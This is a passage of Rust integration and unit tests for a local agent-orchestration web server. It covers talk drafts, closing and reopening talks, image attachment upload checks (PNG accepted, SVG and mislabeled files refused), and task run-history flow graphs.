16914        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16915        let f = Fixture::with_repo(repo).await;
16916        let id = f.post("/api/talks", None).await.json()["id"]
16917            .as_str()
16918            .expect("id")
16919            .to_owned();
16920        let store = f.talks();
16921        let mut recovered = store.get(&id).expect("opened talk");
16922        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16923            .expect("persist pending draft without a live turn");
16924
16925        let refused = f
16926            .post(
16927                &format!("/api/talks/{id}/say"),
16928                Some(r#"{"text":"new message"}"#),
16929            )
16930            .await;
16931        assert_eq!(refused.status, 409, "{}", refused.body);
16932        assert!(refused.body.contains("resume"), "{}", refused.body);
16933        let saved = store.get(&id).expect("draft remains after refusal");
16934        assert!(saved.turns.is_empty());
16935        assert_eq!(saved.pending, "saved before restart");
16936
16937        let say_path = format!("/api/talks/{id}/say");
16938        let (first, second) = tokio::join!(
16939            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16940            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16941        );
16942        assert_eq!(first.status, 409, "{}", first.body);
16943        assert_eq!(second.status, 409, "{}", second.body);
16944        let saved = store
16945            .get(&id)
16946            .expect("draft remains after concurrent refusals");
16947        assert!(saved.turns.is_empty());
16948        assert_eq!(saved.pending, "saved before restart");
16949
16950        let resumed = f
16951            .post(&format!("/api/talks/{id}/pending/resume"), None)
16952            .await;
16953        assert_eq!(resumed.status, 202, "{}", resumed.body);
16954        let duplicate = f
16955            .post(&format!("/api/talks/{id}/pending/resume"), None)
16956            .await;
16957        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16958
16959        for _ in 0..SETTLE_STEPS {
16960            if store.get(&id).expect("talk").turns.len() == 2 {
16961                break;
16962            }
16963            tokio::time::sleep(Duration::from_millis(10)).await;
16964        }
16965        let finished = store.get(&id).expect("finished talk");
16966        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16967        assert_eq!(finished.turns[0].body, "saved before restart");
16968        assert!(finished.pending.is_empty());
16969    }
16970
16971    #[tokio::test]
16972    async fn an_image_only_recovered_draft_resumes_without_text() {
16973        let (_tmp, _repo, f) = talk_fixture().await;
16974        let id = f.post("/api/talks", None).await.json()["id"]
16975            .as_str()
16976            .expect("id")
16977            .to_owned();
16978        let uploaded = f
16979            .post_bytes(
16980                &format!("/api/talks/{id}/attachments"),
16981                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
16982                PNG_BYTES,
16983            )
16984            .await;
16985        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16986        let attachment = f
16987            .talks()
16988            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
16989            .expect("attachment metadata")
16990            .expect("stored attachment");
16991        let store = f.talks();
16992        let mut recovered = store.get(&id).expect("opened talk");
16993        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
16994
16995        let resumed = f
16996            .post(&format!("/api/talks/{id}/pending/resume"), None)
16997            .await;
16998        assert_eq!(resumed.status, 202, "{}", resumed.body);
16999        for _ in 0..SETTLE_STEPS {
17000            if store.get(&id).expect("talk").turns.len() == 2 {
17001                break;
17002            }
17003            tokio::time::sleep(Duration::from_millis(10)).await;
17004        }
17005        let finished = store.get(&id).expect("finished talk");
17006        assert_eq!(finished.turns.len(), 2, "{finished:?}");
17007        assert!(finished.turns[0].body.is_empty());
17008        assert_eq!(finished.turns[0].attachments.len(), 1);
17009        assert!(finished.pending_attachments.is_empty());
17010    }
17011
17012    #[tokio::test]
17013    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
17014        let (_tmp, _repo, f) = talk_fixture().await;
17015        let id = f.post("/api/talks", None).await.json()["id"]
17016            .as_str()
17017            .expect("id")
17018            .to_owned();
17019        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17020        assert_eq!(closed.status, 200, "{}", closed.body);
17021        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
17022            .expect("serialize closed talk");
17023        for (path, body) in [
17024            (format!("/api/talks/{id}/pending/resume"), None),
17025            (
17026                format!("/api/talks/{id}/pending/clear"),
17027                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
17028            ),
17029            (
17030                format!("/api/talks/{id}/pending/edit"),
17031                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
17032            ),
17033            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
17034        ] {
17035            let response = f.post(&path, body).await;
17036            assert_eq!(response.status, 409, "{}", response.body);
17037        }
17038        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
17039            .expect("serialize closed talk");
17040        assert_eq!(
17041            after_clear, before_clear,
17042            "clear must not rewrite a closed talk"
17043        );
17044    }
17045
17046    /// Keeps both claims observable long enough to exercise the distinction
17047    /// between one busy talk and a globally locked Chat surface.
17048    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
17049
17050    #[tokio::test]
17051    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
17052        let tmp = TempDir::new().expect("tempdir");
17053        let repo = tmp.path().join("repo");
17054        std::fs::create_dir_all(&repo).expect("repo dir");
17055        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
17056        let f = Fixture::with_repo(repo).await;
17057        let id_a = f.post("/api/talks", None).await.json()["id"]
17058            .as_str()
17059            .unwrap()
17060            .to_owned();
17061        let id_b = f.post("/api/talks", None).await.json()["id"]
17062            .as_str()
17063            .unwrap()
17064            .to_owned();
17065
17066        let a = f
17067            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
17068            .await;
17069        assert_eq!(a.status, 202, "{}", a.body);
17070        assert_eq!(a.json()["thinking"], true);
17071        let b = f
17072            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
17073            .await;
17074        assert_eq!(b.status, 202, "{}", b.body);
17075        assert_eq!(b.json()["thinking"], true);
17076
17077        let listed = f.get("/api/talks").await.json();
17078        for id in [&id_a, &id_b] {
17079            let view = listed
17080                .as_array()
17081                .unwrap()
17082                .iter()
17083                .find(|talk| talk["id"] == *id)
17084                .unwrap();
17085            assert_eq!(view["thinking"], true, "{listed}");
17086        }
17087        let repeated = f
17088            .post(
17089                &format!("/api/talks/{id_a}/say"),
17090                Some(r#"{"text":"again"}"#),
17091            )
17092            .await;
17093        assert_eq!(repeated.status, 202, "{}", repeated.body);
17094        assert_eq!(repeated.json()["pending"], "again");
17095    }
17096
17097    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
17098    /// few more, since real uploads are never exactly eight bytes.
17099    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
17100
17101    #[tokio::test]
17102    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
17103        let f = Fixture::start().await;
17104        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
17105
17106        let res = f
17107            .post_bytes(
17108                &format!("/api/talks/{id}/attachments"),
17109                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
17110                PNG_BYTES,
17111            )
17112            .await;
17113        assert_eq!(res.status, 201, "{}", res.body);
17114        let body = res.json();
17115        assert_eq!(body["name"], "shot.png");
17116        assert_eq!(body["mime"], "image/png");
17117        assert_eq!(body["bytes"], PNG_BYTES.len());
17118        let att_id = body["id"].as_str().expect("id").to_owned();
17119        assert_eq!(
17120            att_id.len(),
17121            32,
17122            "the id must never be a client-suppliable path: {att_id}"
17123        );
17124
17125        let got = f
17126            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
17127            .await;
17128        assert_eq!(got.status, 200, "{}", got.body);
17129        assert_eq!(got.header("content-type"), Some("image/png"));
17130        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
17131        assert_eq!(got.bytes, PNG_BYTES);
17132    }
17133
17134    #[tokio::test]
17135    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
17136        let f = Fixture::start().await;
17137        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
17138
17139        // SVG can carry a `<script>`, so it is never on the whitelist even
17140        // though it is a real IANA image type.
17141        let svg = f
17142            .post_bytes(
17143                &format!("/api/talks/{id}/attachments"),
17144                &[("Content-Type", "image/svg+xml")],
17145                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
17146            )
17147            .await;
17148        assert!(
17149            (400..500).contains(&svg.status),
17150            "svg must be refused: {} {}",
17151            svg.status,
17152            svg.body
17153        );
17154        assert!(svg.body.contains("SVG"), "{}", svg.body);
17155
17156        let text = f
17157            .post_bytes(
17158                &format!("/api/talks/{id}/attachments"),
17159                &[("Content-Type", "text/plain")],
17160                b"just some text",
17161            )
17162            .await;
17163        assert!(
17164            (400..500).contains(&text.status),
17165            "an unlisted type must be refused: {} {}",
17166            text.status,
17167            text.body
17168        );
17169
17170        // The declared type is a real png, but the size check runs before
17171        // the bytes are even looked at.
17172        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
17173        let big = f
17174            .post_bytes(
17175                &format!("/api/talks/{id}/attachments"),
17176                &[("Content-Type", "image/png")],
17177                &oversized,
17178            )
17179            .await;
17180        assert_eq!(
17181            big.status,
17182            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
17183            "{}",
17184            big.body
17185        );
17186    }
17187
17188    #[tokio::test]
17189    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
17190        let f = Fixture::start().await;
17191        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
17192
17193        // A whitelisted `Content-Type`, but bytes that are not actually a
17194        // png - the declared header alone is never trusted.
17195        let res = f
17196            .post_bytes(
17197                &format!("/api/talks/{id}/attachments"),
17198                &[("Content-Type", "image/png")],
17199                b"<html>not a picture</html>",
17200            )
17201            .await;
17202        assert!((400..500).contains(&res.status), "{}", res.body);
17203    }
17204
17205    #[tokio::test]
17206    async fn an_unknown_attachment_id_is_a_404() {
17207        let f = Fixture::start().await;
17208        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
17209
17210        let res = f
17211            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
17212            .await;
17213        assert_eq!(res.status, 404, "{}", res.body);
17214    }
17215
17216    #[tokio::test]
17217    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
17218        let f = Fixture::start().await;
17219        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
17220
17221        let uploaded = f
17222            .post_bytes(
17223                &format!("/api/talks/{id}/attachments"),
17224                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
17225                PNG_BYTES,
17226            )
17227            .await;
17228        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
17229        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
17230
17231        let res = f
17232            .post(
17233                &format!("/api/talks/{id}/say"),
17234                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
17235            )
17236            .await;
17237        assert_eq!(res.status, 202, "{}", res.body);
17238        let queued = res.json();
17239        let turns = queued["turns"].as_array().expect("turns array");
17240        assert_eq!(
17241            turns.len(),
17242            1,
17243            "an empty body with an attachment is still a turn: {queued}"
17244        );
17245        assert_eq!(turns[0]["who"], "operator");
17246        assert_eq!(turns[0]["body"], "");
17247        let atts = turns[0]["attachments"]
17248            .as_array()
17249            .expect("attachments array");
17250        assert_eq!(atts.len(), 1);
17251        assert_eq!(atts[0]["id"], att_id);
17252        assert_eq!(atts[0]["mime"], "image/png");
17253
17254        // Not only in the response: `record` flushes to disk before the
17255        // agent's own turn is even spawned.
17256        let on_disk = f.talks().get(&id).expect("get");
17257        assert_eq!(on_disk.turns[0].attachments.len(), 1);
17258        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
17259    }
17260
17261    #[tokio::test]
17262    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
17263        let f = Fixture::start().await;
17264        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
17265
17266        let res = f
17267            .post(
17268                &format!("/api/talks/{id}/say"),
17269                Some(&format!(
17270                    r#"{{"text":"hi","attachments":["{}"]}}"#,
17271                    "a".repeat(32)
17272                )),
17273            )
17274            .await;
17275        assert!((400..500).contains(&res.status), "{}", res.body);
17276        assert!(res.body.contains("unknown attachment"), "{}", res.body);
17277
17278        let on_disk = f.talks().get(&id).expect("get");
17279        assert!(
17280            on_disk.turns.is_empty(),
17281            "a rejected attachment id must not partially record the turn: {:?}",
17282            on_disk.turns
17283        );
17284    }
17285
17286    #[tokio::test]
17287    async fn talk_close_makes_the_talk_refuse_further_turns() {
17288        let f = Fixture::start().await;
17289        let id = seed_talk(&f, "20260904-014455-cd34", "open");
17290
17291        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17292        assert_eq!(closed.status, 200, "{}", closed.body);
17293        assert_eq!(closed.json()["status"], "closed");
17294
17295        // Idempotent: closing an already-closed talk is not an error.
17296        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
17297        assert_eq!(closed_again.status, 200);
17298        assert_eq!(closed_again.json()["status"], "closed");
17299
17300        let said = f
17301            .post(
17302                &format!("/api/talks/{id}/say"),
17303                Some(r#"{"text":"too late"}"#),
17304            )
17305            .await;
17306        assert_eq!(said.status, 409, "{}", said.body);
17307    }
17308
17309    #[tokio::test]
17310    async fn talk_close_refuses_pending_input_with_conflict_and_preserves_it() {
17311        let f = Fixture::start().await;
17312        let id = seed_talk(&f, "20260904-014455-cd34", "open");
17313        let store = f.talks();
17314        let mut queued = store.get(&id).expect("talk");
17315        for automatic in [false, true] {
17316            if automatic {
17317                talk::queue_once(&mut queued, &store, "automatic notice", "notice-key")
17318                    .expect("queue automatic input");
17319            } else {
17320                talk::queue(&mut queued, &store, "queued send", Vec::new())
17321                    .expect("queue operator input");
17322            }
17323            let before = serde_json::to_value(store.get(&id).expect("queued talk")).unwrap();
17324            let refused = f.post(&format!("/api/talks/{id}/close"), None).await;
17325            assert_eq!(refused.status, 409, "{}", refused.body);
17326            assert!(refused.body.contains("pending input"), "{}", refused.body);
17327            assert_eq!(
17328                serde_json::to_value(store.get(&id).expect("preserved talk")).unwrap(),
17329                before,
17330                "a close refusal must preserve the entire record"
17331            );
17332            talk::clear_pending(&mut queued, &store).expect("clear saved input");
17333        }
17334        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17335        assert_eq!(closed.status, 200, "{}", closed.body);
17336        assert_eq!(closed.json()["status"], "closed");
17337    }
17338
17339    #[tokio::test]
17340    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
17341        let (_tmp, _repo, f) = talk_fixture().await;
17342        let id = f.post("/api/talks", None).await.json()["id"]
17343            .as_str()
17344            .expect("id")
17345            .to_owned();
17346        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17347        assert_eq!(closed.status, 200, "{}", closed.body);
17348
17349        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
17350        assert_eq!(reopened.status, 200, "{}", reopened.body);
17351        assert_eq!(reopened.json()["status"], "open");
17352
17353        // Idempotent: reopening an already-open talk is not an error.
17354        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
17355        assert_eq!(reopened_again.status, 200);
17356        assert_eq!(reopened_again.json()["status"], "open");
17357
17358        let said = f
17359            .post(
17360                &format!("/api/talks/{id}/say"),
17361                Some(r#"{"text":"still there?"}"#),
17362            )
17363            .await;
17364        assert_eq!(
17365            said.status, 202,
17366            "a reopened talk accepts turns again: {}",
17367            said.body
17368        );
17369    }
17370
17371    #[tokio::test]
17372    async fn talk_reopen_on_an_unknown_id_is_404() {
17373        let f = Fixture::start().await;
17374        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
17375        assert_eq!(res.status, 404, "{}", res.body);
17376    }
17377
17378    #[tokio::test]
17379    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
17380        let f = Fixture::start().await;
17381        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
17382
17383        let deleted = f.delete(&format!("/api/talks/{id}")).await;
17384        assert_eq!(deleted.status, 204, "{}", deleted.body);
17385
17386        let after = f.get(&format!("/api/talks/{id}")).await;
17387        assert_eq!(after.status, 404, "{}", after.body);
17388
17389        let listed = f.get("/api/talks").await.json();
17390        assert!(
17391            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
17392            "a deleted talk must not linger in the list: {listed}"
17393        );
17394    }
17395
17396    #[tokio::test]
17397    async fn talk_delete_on_an_unknown_id_is_404() {
17398        let f = Fixture::start().await;
17399        let res = f.delete("/api/talks/nonexistent-id").await;
17400        assert_eq!(res.status, 404, "{}", res.body);
17401    }
17402
17403    /// A task's page lists every run it ever had, in order, and says what kind
17404    /// of attempt each was - including a resume, which re-pushes the same run
17405    /// id, and a run whose record this build cannot read.
17406    #[tokio::test]
17407    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
17408        let f = Fixture::start().await;
17409        let (a, b, gone) = (
17410            "20260902-140501-aaaa",
17411            "20260902-140502-bbbb",
17412            "20260902-140503-cccc",
17413        );
17414        write_run(&f.runs(), a, RunStatus::Stalled);
17415        let mut review = RunState::new(
17416            PathBuf::from("/repo/magi"),
17417            "main".to_owned(),
17418            "0123456789abcdef".to_owned(),
17419            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
17420                .to_owned(),
17421            Config::default(),
17422        );
17423        review.id = b.to_owned();
17424        review.status = RunStatus::Merged;
17425        write_state(&f.runs(), &review);
17426
17427        let mut task = Task::new(
17428            "retry".to_owned(),
17429            "Do the thing".to_owned(),
17430            PathBuf::from("/repo/magi"),
17431            Source::Human,
17432        );
17433        task.start(a.to_owned());
17434        task.stall("quota");
17435        task.start(a.to_owned());
17436        task.start(b.to_owned());
17437        task.start(gone.to_owned());
17438        // This fixture models an older queue file with repeated run entries.
17439        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
17440        f.queue().put(&mut task).expect("file the task");
17441
17442        let res = f.get(&format!("/api/queue/{}", task.id)).await;
17443        assert_eq!(res.status, 200, "{}", res.body);
17444        let v = res.json();
17445        let h = v["history"].as_array().expect("history");
17446        assert_eq!(h.len(), 4, "{v}");
17447        assert_eq!(h[0]["kind"], "competition");
17448        assert_eq!(h[0]["status"], "stalled");
17449        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
17450        assert_eq!(h[1]["kind"], "resume", "{v}");
17451        assert!(
17452            h[0]["outcome"]
17453                .as_str()
17454                .unwrap()
17455                .contains("unknown. Pass #2"),
17456            "an earlier pass of a resumed run must not claim the final outcome: {v}"
17457        );
17458        assert!(
17459            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
17460            "{v}"
17461        );
17462        assert!(
17463            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
17464            "an unrecorded cause must not be narrated as an operator park: {v}"
17465        );
17466        assert_eq!(h[2]["kind"], "review");
17467        assert!(
17468            h[2]["description"]
17469                .as_str()
17470                .unwrap()
17471                .contains("magi/aaaa/A")
17472        );
17473        assert_eq!(h[2]["status"], "merged");
17474        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
17475        assert_eq!(v["runs_unreadable"], 1);
17476        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
17477        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
17478        assert_eq!(nodes[4]["note"], "unreadable");
17479        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
17480        assert_eq!(v["instruction"], "Do the thing");
17481        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
17482
17483        // The run's own page links back to the task.
17484        let run = f.get(&format!("/api/runs/{a}")).await.json();
17485        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
17486
17487        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
17488    }
17489
17490    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
17491        let mut s = RunState::new(
17492            PathBuf::from("/repo/magi"),
17493            "main".to_owned(),
17494            "0123456789abcdef".to_owned(),
17495            "Do it".to_owned(),
17496            Config::default(),
17497        );
17498        s.status = status;
17499        edit(&mut s);
17500        s
17501    }
17502
17503    fn flow_task(runs: &[&str]) -> Task {
17504        let mut t = Task::new(
17505            "t".to_owned(),
17506            "Do it".to_owned(),
17507            PathBuf::from("/repo/magi"),
17508            Source::Human,
17509        );
17510        for r in runs {
17511            t.start((*r).to_owned());
17512        }
17513        // Synthetic flows without RunPass records model legacy queue data.
17514        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17515        t
17516    }
17517
17518    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
17519        let h = task_history(task, |id| {
17520            states
17521                .iter()
17522                .find(|(i, _)| *i == id)
17523                .and_then(|(_, s)| s.clone())
17524        });
17525        task_flow(task, &h, 5, None)
17526    }
17527
17528    #[test]
17529    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
17530        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
17531        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17532        let first = "2026-10-10T02:00:00Z".parse().unwrap();
17533        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
17534        let held = "2026-10-10T04:00:00Z".parse().unwrap();
17535        let run = flow_run(RunStatus::Implementing, |s| {
17536            s.created_at = created;
17537            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
17538            s.passes[0].started_at = first;
17539            s.passes[1].started_at = resumed;
17540        });
17541        let mut task = flow_task(&[RUN_X, RUN_X]);
17542        task.created_at = queued;
17543        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
17544        task.status = TaskStatus::Held;
17545        task.held_at = Some(held);
17546        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
17547        assert_eq!(
17548            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
17549            vec![Some(queued), Some(first), Some(resumed), Some(held)]
17550        );
17551        assert!(flow.nodes.iter().all(|n| n.time_expected));
17552        let json = serde_json::to_value(&flow).unwrap();
17553        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
17554        assert_eq!(json["nodes"][2]["time_expected"], true);
17555    }
17556
17557    #[test]
17558    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
17559        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17560        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
17561        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
17562        // These timestamps are not the start of the current status.
17563        task.held_at = Some(created);
17564        task.blocked_at = Some(created);
17565        for status in [
17566            TaskStatus::Queued,
17567            TaskStatus::Running,
17568            TaskStatus::Blocked,
17569            TaskStatus::Done,
17570            TaskStatus::Failed,
17571            TaskStatus::Parked,
17572            TaskStatus::Held,
17573        ] {
17574            task.status = status;
17575            if status == TaskStatus::Held {
17576                task.held_at = None;
17577            }
17578            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
17579            assert_eq!(flow.nodes[1].started_at, Some(created));
17580            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
17581            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
17582            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
17583            let json = serde_json::to_value(&flow).unwrap();
17584            assert!(json["nodes"][3]["started_at"].is_null());
17585            assert_eq!(json["nodes"][3]["time_expected"], true);
17586        }
17587    }
17588
17589    #[test]
17590    fn flow_context_links_do_not_expect_start_times() {
17591        let mut task = flow_task(&[]);
17592        task.source = Source::Agent {
17593            run: "chat-id".to_owned(),
17594            node: "chat".to_owned(),
17595        };
17596        let origin = followup_origin(&fu(None), |_| None, |_| None);
17597        let flow = task_flow(&task, &[], 5, Some(&origin));
17598        for node in &flow.nodes[..2] {
17599            assert!(!node.time_expected);
17600            assert_eq!(node.started_at, None);
17601        }
17602        assert!(flow.nodes[2].time_expected);
17603    }
17604
17605    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
17606        crate::queue::FollowUp {
17607            run: "20260901-000000-aaaa".to_owned(),
17608            origin_task: origin_task.map(str::to_owned),
17609            pr: "https://example.com/o/r/pull/1".to_owned(),
17610            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
17611                .map(str::to_owned)
17612                .to_vec(),
17613            generation: 1,
17614        }
17615    }
17616
17617    fn parent_task() -> Task {
17618        let mut p = flow_task(&[]);
17619        p.title = "Parent title".to_owned();
17620        p.status = TaskStatus::Done;
17621        p
17622    }
17623
17624    #[test]
17625    fn flow_opens_with_the_parent_task_of_a_followup() {
17626        let p = parent_task();
17627        let pid = p.id.clone();
17628        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
17629        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17630        let n = &f.nodes[0];
17631        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
17632        assert_eq!(
17633            n.label,
17634            format!("Follow-up of {}", crate::queue::short(&pid))
17635        );
17636        assert_eq!(n.detail.as_deref(), Some("Parent title"));
17637        assert_eq!(n.status, Some("done"));
17638        assert_eq!(n.status_of, "task");
17639        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
17640        assert_eq!(f.nodes[1].key, "start");
17641        assert_eq!(f.edges[0].from, "origin");
17642        assert_eq!(
17643            f.edges[0].label,
17644            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
17645        );
17646    }
17647
17648    #[test]
17649    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
17650        let o = followup_origin(
17651            &fu(Some("gone")),
17652            |_| None,
17653            |_| {
17654                Some(RunState::new(
17655                    std::path::PathBuf::from("."),
17656                    "main".to_owned(),
17657                    "0".to_owned(),
17658                    "t".to_owned(),
17659                    crate::config::Config::default(),
17660                ))
17661            },
17662        );
17663        assert!(o.parent.is_none());
17664        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17665        let n = &f.nodes[0];
17666        assert_eq!(n.status_of, "run");
17667        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
17668        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
17669    }
17670
17671    #[test]
17672    fn flow_followup_with_nothing_readable_has_no_link() {
17673        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
17674        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17675        let n = &f.nodes[0];
17676        assert_eq!(n.href, None);
17677        assert_eq!(n.note, Some("unreadable"));
17678        assert!(!n.readable);
17679    }
17680
17681    #[test]
17682    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
17683        let o = followup_origin(&fu(None), |_| None, |_| None);
17684        let mut t = flow_task(&[]);
17685        t.origin_chat = Some("c1".to_owned());
17686        let f = task_flow(&t, &[], 5, Some(&o));
17687        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
17688        t.source = Source::Agent {
17689            run: "c1".to_owned(),
17690            node: crate::queue::CHAT_NODE.to_owned(),
17691        };
17692        let f = task_flow(&t, &[], 5, Some(&o));
17693        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
17694        assert_eq!(
17695            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
17696            ("chat", "origin")
17697        );
17698    }
17699
17700    #[test]
17701    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
17702        let mut p = parent_task();
17703        p.id = "a b/c".to_owned();
17704        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
17705        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
17706    }
17707
17708    #[test]
17709    fn flow_opens_with_the_chat_that_queued_the_task() {
17710        let mut t = flow_task(&[]);
17711        t.source = Source::Agent {
17712            run: "a b/c".to_owned(),
17713            node: crate::queue::CHAT_NODE.to_owned(),
17714        };
17715        t.issue = Some(crate::queue::IssueRef {
17716            number: 3,
17717            repo: "o/r".into(),
17718        });
17719        let view = TaskView::from(t.clone());
17720        assert!(view.source_label.contains("issue #3"));
17721        assert_eq!(view.source_link.unwrap().href, "#/chat/a%20b%2Fc");
17722        let f = flow_for(&t, &[]);
17723        assert_eq!(f.nodes[0].key, "chat");
17724        assert_eq!(f.nodes[0].kind, "chat");
17725        assert_eq!(
17726            f.nodes[0].label,
17727            format!("Chat {}", crate::queue::short("a b/c"))
17728        );
17729        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
17730        assert_eq!(f.nodes[1].key, "start");
17731        assert_eq!(
17732            f.edges[0],
17733            FlowEdge {
17734                from: "chat".to_owned(),
17735                to: "start".to_owned(),
17736                label: "queued from chat".to_owned(),
17737                attempt: AttemptCost::None,
17738            }
17739        );
17740    }
17741
17742    #[test]
17743    fn flow_has_no_chat_box_for_other_sources() {
17744        for source in [
17745            Source::Human,
17746            Source::Issue {
17747                number: 3,
17748                repo: "o/r".to_owned(),
17749            },
17750            Source::Agent {
17751                run: "20260904-014455-ab12".to_owned(),
17752                node: "implement".to_owned(),
17753            },
17754        ] {
17755            let mut t = flow_task(&[]);
17756            t.source = source;
17757            let f = flow_for(&t, &[]);
17758            assert_eq!(f.nodes[0].key, "start");
17759            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
17760            assert!(f.edges.iter().all(|e| e.from != "chat"));
17761        }
17762    }
17763
17764    const FA: &str = "20260902-140501-aaaa";
17765    const FB: &str = "20260902-140502-bbbb";
17766
17767    #[test]
